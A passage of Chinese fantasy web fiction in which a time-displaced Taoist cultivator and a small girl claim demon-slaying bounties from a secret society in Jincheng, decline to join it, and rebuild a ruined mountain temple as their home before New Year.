回到落脚地后,傅清微迫不及待地先打听悬赏的事。 对于同道之人,管锥毫不隐瞒地娓娓道来。 天机阁几千年历史,贯彻了一如既往的财大气粗,加入天机阁自然有丰厚的薪水。因为魔气的动乱,天机阁人手不足,招揽散修对抗妖魔,主要通过发布悬赏的方式,明码标价。 也就是说,傅清微杀的那些妖魔,背后都是一块一块、甚至一摞一摞的银元。 而她,刚好与那些亮闪闪的银元擦肩而过。 傅清微霎时两眼一黑。 “姬道友!姬道友你怎么了?!” 第143章 傅清微的心在滴血。 我的钱!!! 傅清微脑袋靠在姬湛雪幼小的肩膀上, 眼前一黑又一黑。 那她这一路颠沛流离、风餐露宿,差点把命搭在城里算什么?算她厉害吗?就算这样也活下来了,还带了个孩子。 “姬道友!姬道友你怎么了?” “没什么, 有点低血糖。”傅清微不管他们听不听得懂, 先敲一笔小的竹杠, “二位道友有吃的吗?我和妹妹饿了一天了。” 中午还吃了一顿姬湛雪嫌弃的烤肉。 管锥看着姬湛雪的脸心软不已,当即道:“有的有的。” 两位道友把自己包袱里的口粮都倒出来, 他们刚从城里出来, 羊肉烧饼,半只鸡……甚至还有几块方糖零嘴。 那可是糖啊!大户人家! 傅清微一把将手伸向糖, 喂了一颗到姬湛雪嘴里, 甜丝丝的滋味在舌尖化开,她第一次吃到糖,接连眨动了好几下长睫毛, 眼睛一亮, 似乎不敢相信世上还有这样好吃的东西。 “小雪……” 傅清微的眼泪流了出来。 姬湛雪跟着她,吃尽了苦,没过过一天好日子。 姬湛雪见她哭, 连忙双手来给她擦眼泪。 管锥和方乾二人:“……” 天呐太可怜了。 管锥跟着拭了拭湿润的眼角,把糖纸包起来塞进孩子怀里,方乾也将所有的吃的推过去。 “姬道友这样大的本事,怎么会过得如此潦倒?” 傅清微瞬间又悲从中来。 “此事说来话长。”她克制着自己的情绪, 叹了口气,端起了面前的烧鸡, 真香啊。 傅清微将鸡腿撕下来放在一边, 自己啃着鸡架,虽然久未吃到这种美味的油水, 但她进食的模样算是斯文,也给了管、方二人只是一时落魄的印象,而不是一直当乞丐。 傅清微吃完擦了擦手,姬湛雪刚捧起鸡腿咬了一口,童音清脆地说:“好吃。” 傅清微微怒:“……我给你做那么多饭都换不来一句好吃。” 姬湛雪瞧了瞧她,欲言又止。 做得多又不等于好吃。 姬湛雪低下头吃鸡腿,将沉默进行到底。 傅清微两条手臂夹住她的脸,肆意揉了一顿。 管锥羡慕道:“姬道友和妹妹的感情真好。” 傅清微回:“毕竟世上就剩我们俩相依为命了。” 傅清微给自己编了个身世,说她本来在蓬莱修炼,家中长辈病故,只剩一个妹妹,她回乡将妹妹接来,两个人现在正在去往蓬莱观的路上。 管锥认真思索:“蓬莱观在哪里?” 傅清微:“深山小观,道友没听过也正常。不知二位道友是……” 管锥和方乾互视一眼,自豪笑道:“我们是清净派的。” 傅清微心想:那岂不是龙璇玑的长辈?龙璇玑还没出生呢。 无论在哪个时代,最宝贵的不是钱,而是信息,堪比黄金。 如果她早知道天机阁在哪,如何接悬赏,也不会和姬湛雪穷困潦倒,朝不保夕。她还从二人那里知道,原来真道士有特殊的过关技巧,朱砂画符可以当路引。 “……” 傅清微决定好好把握自己唯一的人脉。 可惜没有电话什么的,留个联系方式,所以她们暂时要和清净派的两位道长一起行动,吃喝不愁。 管锥二人的活动范围就在蜀中,是天机阁门人,二十八星宿木牌作为身份凭证。他们是接了任务来的,斩杀在这一带作乱的妖魔,一来就听说玄女娘娘座下弟子威名远播,走到哪除妖到哪,一路追着傅清微的踪迹会合,以为是哪个玄门长辈。 没想到是个和他们一样大的年轻人。 天机阁目前的总部在北平,大清灭亡,北平政权交替,正是最混乱的时候,城内的魔气也错综复杂。西南、华南等地设立的是分部。 后世的鹤市,如今叫锦城,是西南重镇,分部就在那里,城北某某街某个大钱庄,有两套不同的切口(江湖暗语),其一是接悬赏的,其二是天机阁内部的口令。 管锥告诉了她们接悬赏的切口。 “怎么加入天机阁?” “你到了钱庄以后,问里面主事的人。”管锥挠了挠脸,说,“我也不知道,宗门的长老给我们报的名,考试通过就加入了。” “……”傅清微又一次体会到了信息和人脉的重要性。 就算她知道天机阁的存在,不知道地址和切口,也是白给。 “谢谢两位道友。”傅清微说,“我叫姬湛雪。” 管锥笑道:“姬道友终于肯告诉我们全名了,非常荣幸。” 傅清微面不改色,真正的姬湛雪抬起了头。 “?” 傅清微把她的小脑袋按了下去。 傅清微不打算用自己的真名行走天下,反正姬湛雪的名字好听,不用白不用。 “你们要去锦城吗?”如果能结伴,当然是最安全的选择。 “回是要回去的,但我们的事没有办完。”管锥为难道。 “是除妖吗?我可以帮忙!”傅清微积极道,“只要分我一点赏钱就好。” 管锥笑起来。 “这算什么难事?相逢即是有缘,都给道友权当结个善缘。” “谢谢,你们清静派都是好人。” “咦,姬道友还认识别的清净派门人?” “认识一个,她还很小,估计你们不认识她。” “叫什么名字?或许我们知道呢。” “萍水相逢,未来得及问名姓。” “原来如此。”管锥说,“那我们出发吧,姬道友……和小妹妹。” 好几天了,姬湛雪还是一副漠然的小脸,只对傅清微有表情,管锥给她糖也不好使。 她只吃傅清微给的东西。 一行四人在锦城周边的几座城市和山林打转,降妖除魔的间隙,傅清微趁机便打探消息,尤其是这个时代怎么获取信息。以天机阁为例,每隔30里一座官驿,是最固定的消息点,重要信息都会传达,只要去驿站出示木牌验明身份。 常用的是信鸽,就是傅清微在电视里见过的那种,方便快捷,中长距离点对点。 其他的烟花信号、狼烟,特殊记号,水流……等等辅助方法。 虽然没有现代即时通讯,种种综合起来也四通八达。 傅清微以前看小说时向往江湖快意恩仇,如今真正身处乱世的江湖,要学会熟练运用江湖手段,她愈发怀念她的手机。 傅清微从袖子里掏出一张雷符,催动咒语,云层中闪过一道闪电。 不到几秒钟,雷电劈下,地面一大片黑雾侵蚀的蜘蛛化为齑粉。 这些都是没成精的妖,不值钱。 要不是姬湛雪爱看“闪闪”,她一道剑气就能灰飞烟灭。 傅清微随身的口袋里已经装了不少妖魔的信物,内丹、犄角等比较小的能证明击杀的证据。能被天雷直接摧毁的道行都不高,像袭击那只商队的虎妖比较值钱,死了还能留下肉身,如果当时她割下一只虎掌,应该能换几十块银元。 事已至此,她只能重新收集了。 管锥和方乾互视一眼,均难以掩饰眸中的惊讶。 怎么会有人引雷这么快?岂不是上天刚听到就答应了,这得是什么样的天赋? 难道她真是玄女娘娘座下弟子? 管锥:“姬道友,你所说的蓬莱观在哪里?” 傅清微:“就在锦城郊区的一座山里,不起眼的。” 管锥:“你派的祖师是谁?” 傅清微张了张口,将穆若水的名字咽了回去,歉然道:“不便相告。” 管锥二人已将她当作民间藏龙卧虎的隐修了,同行一个半月,不仅见证她的天赋,还目睹了她飞一样的进步速度。 怎么会有人前段时间打得有来有回、险象环生的妖魔,下一次再遇到差不多道行的,就可以十拿九稳地压着对方打,最后横空一道天雷收尾。 如此人才,一定要把她吸纳进天机阁。 姬湛雪的名字由管锥二人第一次传入了天机阁的耳中,留下了初步的印象。 看完“闪闪”,姬湛雪心满意足,傅清微伸手抱起她,往她嘴里喂了颗糖。 姬湛雪把舌头给她看,黄色方糖静静地躺在中间。 傅清微失笑:“我不吃,你自己吃。” 哪有嘴对嘴喂的啊? 姬湛雪含着甜甜的糖,搂紧了她的脖子。 傅清微:“小心蛀牙。” 姬湛雪皱起小小的眉头,明明是她自己喂的。 她们已经来到了中江,最后一座城市,解决完就可以回家了。从野外回中江城的路上,却出了个意外的小插曲。 一个背子客从小路跑过来,紧赶慢赶到四人身前,确认样貌,问:“您是清净派的管道长?” 管锥:“对,我就是。” 背子客从怀里掏出一封火漆印信,说:“有人托我送信。” 这就是在驿站、信鸽、烟花之外的补充通讯手段,靠人送。 管锥接过信封,神情严肃,和方乾走到一边拆信。 傅清微猜测是天机阁送来的,而且她们多半不能同行了。果不其然管锥走过来,抱歉地说:“姬道友,我们俩有要事,不能陪你回锦城了。” 傅清微:“无妨,眼下离锦城不远,我们可以自己走过去。” 管锥不放心,画符不是在每个关卡都有效,她从怀里掏出自己的度牒,说:“这是我门派的度牒,你持之,可保你一路畅通无阻。” 傅清微却之不恭,记了她一个人情。 “你到锦城后,将度牒放在钱庄,自有人之后转交给我。” “多谢管道友。” “后会有期。” “山长水远,有缘再聚。” 傅清微和姬湛雪在城外目送二人的身影匆匆离去,伸手摸了摸怀里的度牒和十块银元。 虽然在现代她和灵管局快闹掰了,这一刻天机阁依然是她的亲人。 傅清微低头看小孩,说:“走吧?” 姬湛雪晃了晃她的手,小步往前蹦了一下。 傅清微笑:“你今天怎么这么开心?” 姬湛雪说:“喜欢。” 她指了指傅清微,又指了指自己。 傅清微:“喜欢只有我和你两个人?” 姬湛雪点了点头。 傅清微捏着她软绵绵的小手:“管锥多余给你买那么多糖了,不记人一点好啊。” 姬湛雪不管,径自往前走,边走边快乐地摇着傅清微的手。 她就是喜欢和姐姐单独在一起,这样傅清微的目光就会只看向她。 两人到了中江的城门,军警森严。 “路引。” 傅清微出示手中度牒。 “原来是仙长,仙长请。” 傅清微算是享受了正规官方道士的待遇,西南道教盛行,对道教徒很是尊敬,能拥有度牒的更是少数。傅清微打算有机会去搞一个蓬莱观的,借别人的名字终归不能长久。 两人在中江歇了一晚,用管锥赠的银元订了间上房,吃饱喝足。洗完澡,姬湛雪往傅清微身上一爬,双手抱腰,脸埋胸口。 傅清微:“你会不会有点过分?床都不睡了,直接改睡我身上?” 姬湛雪仰起头,在她下巴左近的皮肤亲了一下。 傅清微:“……” 她极浅地翘了下唇,说:“下不为例。” 姬湛雪听不懂成语,所以下次还敢。 姬湛雪抱着她睡着了,傅清微感受着胸口沉甸甸地压着,她侧过身子,将小孩放到床上,自个转身环着她,手轻轻拍着她的后背,好一会才闭眼。 她又想师尊了。 师尊也会给她拍背哄她睡觉。 此生不知道有没有机会再见到她。如果她活上一百年,再久一些,那是不是就能…… 年轻女人眼角划下透明泪痕,渗进枕头里,开出深色的花。 * 中江到锦城的路相对太平,带着小孩脚程不快,二人又走了半个多月,终于来到锦城的属地。 虽然后世很多东西都变了,但是山依然屹立在那里,傅清微脚踩在土地上,遥遥望着远方的一座葱郁山头,热泪盈眶。 她脸上湿湿的,风吹过来冰冷潮湿。 姬湛雪身量小,擦不到她的眼泪,急得直拽她的袖子。 傅清微蹲下来,抱着她把眼泪都擦在她肩膀的衣料上,说:“我们终于可以回家了。” “蓬莱?” “蓬莱!” “我、要、回、家、啦——”傅清微两手拢在唇边,声音传出很远很远。 姬湛雪眨了眨眼睛。 傅清微弯腰一把将她抱起狂奔,跑了一段路,才勉强平复下自己激动的心情。 两天后,两人身在蓬莱观所在的山中,一步一步往山顶跋涉,傅清微忽然停了下来,靠在一棵树上沉默不语。 姬湛雪:“怎?” 傅清微:“没事,我想休息一下。” 姬湛雪蹲在她身边陪她休息。 百年前的清风拂过傅清微的脸颊,她想:百年前的蓬莱观会是什么样子?她所要抵达的那个目的地,真的会有蓬莱观吗? 如果没有,如果没有,她该怎么办? 穆若水出身蓬莱,不记得前尘往事,她今年几岁,如果她不是姬湛雪,会不会有另一个师尊在蓬莱?她会和这一世的师尊重逢吗? 前者令她胆怯,后者令她情怯。 蓬莱观不是她的家乡,穆若水才是。 傅清微歇了很久,慢慢直起身来,低声道:“走吧。” 姬湛雪牵住她的手。 一大一小两道身影携手慢慢朝山上走去。 傅清微跟随自己的肢体记忆,来到了一个地方,停下脚步,表情异常平静地说:“我们到了。” 姬湛雪仰起脸,看着面前的三面土墙,或者说断壁残垣。 她好奇地左顾右盼:这里就是她们的家吗? 一个房子有四面,它比四面少一面,房梁只剩下一半,木头伸出去,裸露在天顶下,像一个窝棚。 傅清微带她穿过没有院子的后院,来到了前院,只有正殿勉强能看出模样,里面的神像不翼而飞,只剩下梁柱,明晃晃的天光漏下来,一滴雨都挡不了。 左右二殿没有,原来的玄女殿和后土殿是两片空地。 正门只剩下四四方方的洞,没有门,傅清微站在大门口,剑气轻挥,上面厚重的灰尘和脏东西扑簌簌落下来,露出石刻褪色的三个红字:圆真观。 姬湛雪不认识字,数了数三个字,童声清丽说:“蓬、莱、观。” 傅清微突然蹲下来,轻轻地抱住了她。 姬湛雪感觉有热热的液体流进她的脖子里,越来越多。 傅清微没有出声,姬湛雪不知道她是伤心还是难过,伸手轻轻落在她的头顶。 “别哭。” “嗯。”傅清微哽咽,抬起脸擦掉了眼泪,端详上方的门楼。 百年前的蓬莱观是一座废弃已久的道观,它叫作圆真观,衰败得连过路的难民都懒得入内,里面能扒走的东西都被扒完了,只剩下几堵墙,连片瓦都没有。 师尊想必都不知道这些。 傅清微又低头看了看姬湛雪,指尖抚上她光滑精致的小脸。 姬湛雪:“?” 傅清微收回手:“没什么。既然到家了,我们去收拾一下。” 姬湛雪:“好。” 她从依布村离开跟着傅清微,衣食住行从不抱怨,丰俭由傅清微,即使来到四面漏风的“家”,也没有质疑过一句,而是理所当然地把它当成了她和傅清微的家。 除了没有房顶的正殿,后院的三面墙里包含一间房和一间厨房,就是后世穆若水那间不住的小屋子和厨房,其他的地方也都是空地。 傅清微先把屋子里的石块捡出去扔了,姬湛雪在旁边帮忙,夹缝里拿一些小小的小石头。 她就地取材,又做了一把扫帚,打扫地面和墙壁的蜘蛛网。 房间里灰大,傅清微叫姬湛雪出去了,自己用衣服捂着口鼻。 等她好不容易扫完,在隔壁厨房找到姬湛雪,她正在灶台的几个洞里爬来爬去,身上和头发沾满了灰尘。 傅清微将她从中间抱出来,给她拍灰,问:“你干吗呢?” 姬湛雪说:“做饭。” 傅清微:“你饿了?包袱里有吃的,我去拿。” 姬湛雪:“以后。” 傅清微:“以后做饭是以后的事。” 姬湛雪:“我。” 连起来:以后我做饭。 傅清微一票否决:“你做什么饭?你还是个宝宝。我做。” 宝宝看起来要晕过去了。 傅清微:“什么时候你说话能不一个字一个字蹦,你就可以做饭了。” 她怕她放调料都一卡一卡的。 姬湛雪:“你说的。” 傅清微立刻:“你老实说,你是不是装的?” 姬湛雪将脸埋进她胸口,一个字不说,但是她特有的撒娇方式。 厨房的灶台完整,比隔壁连张床都没有的房间好多了,吃了午饭以后,两人把厨房也收拾出来。 傅清微经历了一天的强打精神,泄气地坐在石头上,看着面前的三堵墙,有一堵还只剩下半边,参差不齐地立着。 这让她如何接受这就是她和师尊的蓬莱观? 它如果是一片空地,傅清微无从寻起,说不定就此作罢再去流浪。可废墟之上偏偏能窥见昨日的影子,这里就是蓬莱,又不是她的蓬莱。 傅清微随遇而安,向来走一步看一步,现在终于走到这里了,她却不知道下一步该往哪里。 是离开?还是重建? 离开她要带着姬湛雪去哪儿?去锦城还是更安全的地方?这世道有绝对安全的地方吗? 重建的话从何处建起? 姬湛雪正在她的新家积极探索,两间破屋子看半天,丝毫不觉得简陋,看完屋子又探索山林,观察路过的小动物。 她本来就是山里长大的猎人后代,山野会使她自由的天性释放,自在逍遥。 就像师尊一样。 傅清微的眸色软了软,冲那道背对她的小小身影道了声:“小雪。” 姬湛雪回头,朝她跑过来。 傅清微两手托起她的小脸,眸中似乎含着她看不懂的更深的情愫。 “你喜欢这里吗?” 姬湛雪点了点头。 “那我们就留下来,好吗?” “好。” 她的额头一热,傅清微温软的唇贴了上来,印着她。 姬湛雪怔怔地感受着传来的陌生触感。 傅清微同样也没有停留太久,亲了一下额头便放开,冲她一笑。 姬湛雪钻进她怀里,耳朵和脸都变得热热的。 好半天没能抬起头。 傅清微下午观天象,晚上可能要下雨,她去林子里砍了几棵树,搭了个简易的半个屋顶。 她和姬湛雪垫着衣服,夜宿在房间的墙角,半夜果然下雨了。 少了一堵墙的房子隔音完全没有,外面下大雨,里面没房顶的地方也在下大雨,雷电交加。 姬湛雪被雨声吵醒,噼里啪啦的,她睁开眼说:“闪闪。” 傅清微说:“是闪闪。” 纯天然的,无人力添加。 雨声大得睡不着,姬湛雪坐起来靠在她怀里,傅清微抱着她。 两个人坐在一起并肩看屋檐的暴雨如注,化作千丝万线,落进潮湿的青苔石板,溅起时光久远的回音。 那是她和师尊今生听的第一场雨。 第144章 说是要重建蓬莱观, 第一步还是得有钱。 两个人在漏雨的破房子里住了一宿,姬湛雪差点感冒,傅清微早起打了个喷嚏, 背着包袱下山了。 锦城。 傅清微来到最繁华的盐市口, 手里牵着一个, 一大一小仰头望着面前金光闪闪的钱庄门楼。 姬湛雪指着牌匾,费力地辨认:“天……” 她只认识一个字。 傅清微说:“天地钱庄。” 现代有天地银行, 古代有天地钱庄, 都通阴阳两界。 傅清微握紧她的小手走了进去。 钱庄人来人往,存取放款, 傅清微二人从夹缝里穿行, 举目四顾不知道找谁,好不容易看到个好像大堂经理的,被一群人围着咨询。 她干脆排了个队找柜台。 到了柜台, 低声报出管锥教给她的切口:“陵嘉江的鱼鳔肥了。” 柜员头也不抬地拨算盘:“几斤几两?” 傅清微:“五斤七两六毫。” 柜员扬声:“贵宾一位里面请。” 旁边一位看似普通保安职员的木头桩子忽然活了, 朝傅清微走了过来,弯腰恭敬道:“贵客请入内。” 钱庄里的客人都打眼望过来,看见一对破衣烂衫打满补丁的孤儿寡母。 VIP会员傅清微享受了一番注目礼, 跟随职员步入后院,第一道门不停,是正经VIP贵宾服务区,第二道门后分了两条岔路, 傅清微抓紧时间问道:“我是清净派管锥管道长介绍来的,请问怎么能加入天机阁?” 职员沉默一刻, 说:“悬赏堂里有主事的, 待会你可以问问她。” 傅清微:“道友是何门派出身?” 职员道:“嗐,我是青羊宫的, 被抓过来兼职当保安,其实我也不是天机阁的。” 傅清微:“……” 职员将她带到了一扇门前,把桃木信物按在缺口,结界打开,傅清微穿过了一道水流一样柔和的空气,和姬湛雪置身于一片全新的空间。 耳边从钱庄的喧闹变成后院的寂静,再度变得喧哗。 姬湛雪:“好多人、啊。” 傅清微以前看甘棠玩网游,悬赏的告示板具现在眼前,不过比游戏里大了若干倍,长长的布告栏里贴满了妖魔种类的图画以及对应的价钱。 这个时代修道的人远比现代多,民间有本事的人也不少。 傅清微本来觉得人太多了,但考虑整个西南只有这一个分部,分散到将近1/4的国土里,也不过是九牛一毛。将来……假如她还在这个时代的话,这只是开端,魔族还没有现世。 偌大的空地摆了十几张桌子,分为咨询和领赏,傅清微自觉排到了领赏的队伍里。 把自己的口袋调转,全都倒在了桌子上。 办事员瞧了她好几眼,叫来了主事,主事是位黑衣劲装、盘了道髻的女性,没穿道袍,傅清微想,反正她在结界里不出门,酷一点有什么关系。 她要是有条件,也不想整天穿得破破烂烂。 酷姐的表情却很客气:“这都是你自己杀的吗?” “是。” 傅清微怕她不信,还主动出示了管锥的度牒,说:“我是蓬莱散修姬湛雪,管道长介绍我来天机阁。” 酷姐验完她的度牒还回来,说:“不才姓郝,出身青羊宫。” “门外那个?” “我师侄,抓壮丁来的。” “哦哦。”傅清微目光始终不离自己的战利品,问,“我这些能换多少钱?” 郝道长说:“我让人给你算一下,先不要急,我有话想问姬道友。” 正好傅清微也有事问她,两人一拍即合。 天机阁的考试和后世一样,一年一次,她们俩从春走到秋末冬初,下一届考试就在四个月后。考核内容也是文武双修,主要是武,傅清微掉进时空缝隙一年半,每日都生活在危险中,以战代练,如今的修为不可同日而语,就算不耍小聪明,堂堂正正也能轻松拿魁首。 但是她认真考虑后,决定不参加天机阁的考试了。 加入天机阁以后,就要像管锥二人被派任务,四处跑,身不由己。她还有个孩子,不适合跟着她奔波,把姬湛雪交给别人带她更不放心,也舍不得。 她现在活着就是为了她,再和她分开?岂非本末倒置? 郝道长失落道:“你真的不再考虑一下吗?一个月的薪水足够你买间小房子了,一年就可以买栋四合院。” 傅清微十分心动,但她已经不是从前的傅清微了。 “谢谢郝道友的好意,不必了,我不能和妹妹分开。”傅清微低头和姬湛雪清亮的眼瞳对上视线,揉了揉她的脑袋,她抬起头笑着对郝道长说,“你们天机阁一定认识不少人吧,有没有擅长修房子的能工巧匠,可不可以介绍给我?结个善缘。” 郝道长:“有,不知姬道友要在何处修房屋?” 傅清微:“郊区的山上。” 郝道长:“……” 离开天地钱庄时,傅清微拿到了几百块银元的巨款,还有一张城内工匠的名单。 虽说有了工匠名单,但郝道长也和她直说了,这笔钱她要是在城里买房子、买地皮建房子都好说,想去几十里开外的深山修道观,杯水车薪。 首先外面乱,愿意出城的工匠就少,其次材料和运输成本,挑工……比在城中建造成本高十倍不止。 道理傅清微都明白,但路是一步步走出来的。如果待在城里安居乐业,得过且过,有了这笔积蓄,她只需要偶尔出去除魔,就可以和姬湛雪过上不错的日子了。 孟子说生于忧患死于安乐,既然决定重建蓬莱观,她就不会半途而废。而且这异世无论住在哪里,她都觉得漂泊孤单,只有蓬莱是她的家。 昨夜她和姬湛雪在破落的房子里听雨,天地落得一片茫茫,她们依偎在一起,即使身体被风雨侵蚀湿冷,可她的心很温暖。 她不知道姬湛雪是怎么想的,也许现在的姬湛雪还没有那样深刻的体验。 她只是想跟着她,无论去哪里。 那么傅清微会重新打造一个属于她们的家。 小有财力的傅清微将四块银元塞进姬湛雪的怀里傍身,牵着她的手说:“我们先去吃饭好不好?” “好!”姬湛雪用力点头,童声清亮。 她刚刚亲眼看见天机阁的人点了一袋子钱交给傅清微,也知道她们现在有钱了! “去最大的酒楼!” “好!” 最后还是没去最大的酒楼,因为太贵了,换算可以买不少建筑材料,挑了一家中等偏上的,傅清微自觉对不起姬湛雪,吃饭前还在跟她道歉:“下次一定带你吃最贵的,对不起。” 姬湛雪恨自己话说不利索,手摆个不停,急得脸都红了。 傅清微:“好好好,我不道歉。” 姬湛雪这才停了手,傅清微坐过来,给她揉手腕,好笑道:“手酸不酸呀?” 姬湛雪小脸疲惫,道:“酸。” 她被傅清微揉了一会儿,就往她腿上爬,要坐她身上,粘人精。 两个人坐在二楼靠窗的位置,姬湛雪坐在她腿上,两只手扒着窗户,好奇地看外面形形色色的街景。 傅清微搂着她的腰,以防她探出身子掉下去。 等菜上来,她才坐到傅清微对面去,大快朵颐。 傅清微不紧不慢地动着筷子,又在怀念师尊做的菜,太久没吃到,她已经快忘记是什么味道了,口腹之欲寥寥。 姬湛雪在对面时不时地偷看她。 自从上次被困城中,傅清微夜盗两块银元,第二日生病呕吐,姬湛雪就对一桌丰盛饭菜有了心理阴影,总担心只有自己吃得开心,傅清微又会勉为其难吃进去吐出来。 经过她的观察,傅清微虽然吃得慢,但最近几次都没有勉强的意思,偶尔还会有笑容。是从什么时候开始的呢?是确定除魔可以挣钱的时候,她从管糖的锥那里得到了资金,又从天机阁得到了一大笔报酬。 姬湛雪放下了鸡腿,欲言又止。 傅清微:“?” 姬湛雪:“没事。” 小小的人也有了心事,她想学本事挣钱,请傅清微吃最贵的酒楼,不能光让姐姐请她。 可她还是个孩子,身量小,又没力气。 姬湛雪低下了头。 唉。 吃饱喝足后,傅清微带着姬湛雪去了成衣店,她们随身的行李里没有几件衣服是没有补丁的,大肆采买了一通,破破烂烂的母女摇身一变,变成了年轻貌美的坤道带着她冰雪冷漠的小道童。 没错,傅清微买了几身道袍。 接着她敲开了青羊宫的门,用管锥的度牒挂单,借住在青羊宫,分到了一间厢房。 管锥的度牒她和钱庄交代了一声,暂时也没还,等管锥回来再说。她要多次出入锦城,没有度牒寸步难行。 傅清微要在城内暂住一段时间,寻找愿意帮她修房子的工匠,还要打听材料价钱和人工成本,一趟两趟的根本跑不完,与其花钱住客栈,不如住在道观。 “贫道清净派管锥,这位是我的徒儿,小雪。”傅清微是这么介绍她们俩的。 晚上客宿在厢房,姬湛雪骑在她腰上,抓着她的头发玩,一个字一个字地蹦:“徒、儿?” 傅清微睁着眼,觉得她迟早要爬到自己头上,直起身子让她下去,和她面对面坐着:“我随口说的,你不用当真。” “徒儿?”姬湛雪歪了歪脑袋。 她那张和穆若水肖似的脸说出这样的字眼,令傅清微一瞬间幻视了师尊。 她握住了姬湛雪的手,道:“就是一生一世、永不分离的意思。” 也是妻子。 姬湛雪将她的话牢记了下来。 姬湛雪还有更多想问的,碍于年岁心智和表达能力,只好先压在心里,等待时光漫漫发酵。 “睡觉吧,晚安。” 傅清微侧躺着让她枕在自己胸口,给她轻轻拍着背。 姬湛雪抬头在她下巴左近亲了一下,才合眼睡去。 她最近每晚睡前都会亲一下她,小孩子的孺慕之情淋漓尽致。傅清微听着她浅浅的呼吸声,渐渐也睡着了,睡得很香很沉。 不用担心野外突发的状况,就算出事也是青羊宫的道士先上,她一个挂单的游方道士,总算能睡个踏实的好觉。 不过挂单要参加观里的功课,傅清微早起洗漱后带着姬湛雪一块去念经。 傅清微的早课经倒背如流,融入在众道士里,闭目虔诚,念念有词,殿内香雾袅袅。 姬湛雪小小一只端坐在蒲团里,耳边的经文如同千万只蚊子嗡嗡,念得她昏昏欲睡。 傅清微胳膊一沉,坐在她右边的姬湛雪歪倒在她身上,嘴角挂着可疑的透明痕迹。 傅清微:“……” 她现在首要的目标是识字。 然而傅清微怎么也想不到,即使后来姬湛雪识了字,还是一看到长篇大论的经文就犯困。 早课结束。 陆续起身的道士看到她怀里呼呼大睡的道童,不约而同地笑了笑,没说什么,从殿门口鱼贯而出。 谁还没有幼年学道犯懒的时候呢? 姬湛雪从傅清微的背上醒过来,她们俩已经身处热闹的街道,傅清微正对着名单地址寻访工匠。 “醒了?下来还是背着?” “下来。” 傅清微停下脚步将她放下来,姬湛雪自动将一只手塞进她掌心,跟在她身边左顾右盼地张望,好多人,也好多吃的玩的。 以前没有钱,什么也不敢看,现在有了钱,傅清微走过一条街,左手一串糖葫芦,姬湛雪右手一串糖人,鼓鼓的怀里塞了几包糕点。 傅清微找到工匠,问了大致预算,是她手里积蓄的十倍不止,而且不出意外的,人家不愿意接那么远的活。 天色已经不早,傅清微辞别第一家工匠,进了一家书铺,买了《千字文》《百家姓》《三字经》等基础读物,几本道经,毛笔字帖,又购置了笔墨纸砚,回去刚好赶上青羊宫的晚课。 姬湛雪又枕在她腿上睡了一觉,她的裤子浸出一小块湿痕。 晚上傅清微点了两支蜡烛,铺开宣纸,开始教姬湛雪读书写字,一笔一划。 姬湛雪很快就困得想睡觉,傅清微把她抱上床哄睡着了,自己坐在书桌前临摹字帖,虽说钢笔已经出现了,价格高昂也买得起,但书法是一切的基础,现在通用的仍是毛笔字,她干脆从头学。 况且…… 傅清微回想起了一些东西,这段时日她空闲下来会想,她的穿越是怎么回事?蓬莱观又是怎么回事?她和姬湛雪来到蓬莱,是偶然还是既定的命运。 究竟是先有鸡还是先有蛋? 后世的蓬莱观有很多她曾经忽视的细节,都被她翻出来一一回忆。 傅清微顿笔,想事情想得头痛,暂时清空了脑子,专注地临起眼前的字帖。 * 一连跑了好几趟,才终于有工匠愿意接山上的活。以傅清微现在的钱肯定是不够修整座道观的,她打算先把那两间屋子修了,先有个遮风挡雨的住处。 木材、砖瓦、石灰,搬运成本,工匠工资,还没开工先付了一半。 原先的屋子是石头和泥砌的,除了地基以外都要推倒重建,傅清微每日往返城郊,白天在山里监工,她身体受得了,孩子受不了,每天天不亮就起,一半时间都在梦里。 傅清微重操旧业,用藤条编了背孩架,早晚背着她奔波,姬湛雪就在她背上睡觉。 如此一个月,终于在旧历新年以前,房子建好了,两人搬进了新家。 床是用砖石砌的,虽然不大,但是睡两个人足矣。 傅清微想起来她第一次还嫌弃过这张床,现在不要太喜欢。姬湛雪也很喜欢,铺上新褥子以后,第一个脱鞋爬上去打了个滚。 “家、家。” 傅清微在床边看着她打滚,笑着嗯了一声,说:“家。” 她说:“你怎么还结巴,这样还得吃我做的饭。” 姬湛雪立刻苦了一张脸。 搬入新家的第一晚,吃了傅清微亲手做的野菜汤,烤饼和野菜炒肉片。 姬湛雪边吃边咬牙,下定决心:“我一定、好好、学说话。” 傅清微淡淡补充:“认字也不要耽误。” 姬湛雪:“好。” 除夕的前一天,两人进了一趟城采买年货,除了日常采购和笔墨纸砚,傅清微路过街边一间杂货铺子,抬起头看了看,走了进去。 除夕当天,傅清微去山里砍了竹子,切割出细长的竹条,做灯笼骨架。 接着她裁了几张纸,用浆糊粘在做好的骨架上。 姬湛雪在边上好奇地看着,两只手趴在床沿,不明白她在做什么。 傅清微咳了一声,说:“你先出去。” 姬湛雪哦了句。 傅清微嘱咐她:“衣服穿穿好。” 姬湛雪把新的棉衣裹紧了,还戴上了毛茸茸帽子,去了隔壁厨房,灶下煨着火,她把小手烘着烤火。 一会又要吃难吃的年夜饭了,唉。 晚饭以后,傅清微偷偷摸摸地回房间,拎了一盏造型别致的灯笼出来。 姬湛雪哇了一声:“兔子!” 傅清微是凭记忆做的,没有师尊做得好,不能说惟妙惟肖,但也形神具备。 眼睛的部分是用朱砂点的,甚是可爱。 “我家乡的习俗,有人教我做的。” 傅清微忍住眼眶微微上涌的热气,她仍记得师尊在那年除夕递灯给她的样子。 “新春快乐。” 傅清微弯腰把兔子灯递给姬湛雪,勾起唇角,柔声说:“愿我的小雪流年吉利,无病无灾。” 姬湛雪伸手接过兔子灯,看了又看,不知道要怎么表达她的心情。 她上前一步,紧紧地搂抱住了傅清微的脖子。 明年她也会给她做兔子灯。 从此年年岁岁,朝朝相守,再无缺席。 姬湛雪指挥傅清微把那盏兔子灯挂在了屋檐下,她想要日日都看到,然而当晚刮起了大风,兔子灯在屋檐下垂荡得厉害,里面的灯都灭了。 向来觉深的姬湛雪突然从傅清微怀里醒了过来,听着外面鬼哭狼嚎的风声,把傅清微摇醒了。 “姐姐,姐姐?” 傅清微被窝温暖如春,怀里的小孩更暖得跟小火炉似的,好梦难醒,迷迷糊糊地问:“怎么了?” “我的灯。”姬湛雪着急地说,“兔子!” 傅清微半合着眼,睡意慵懒:“兔子怎么了?想吃明天我去给你抓。” 姬湛雪指望不了她,自己起了身。 怀里一空,接着冷风从打开的门灌了进来,傅清微的困意全没了,看着门口的那道小小身影,都快被风刮跑了,连忙将人捞了回来。 “我的小祖宗!” 姬湛雪指着高处:“灯!灯!” 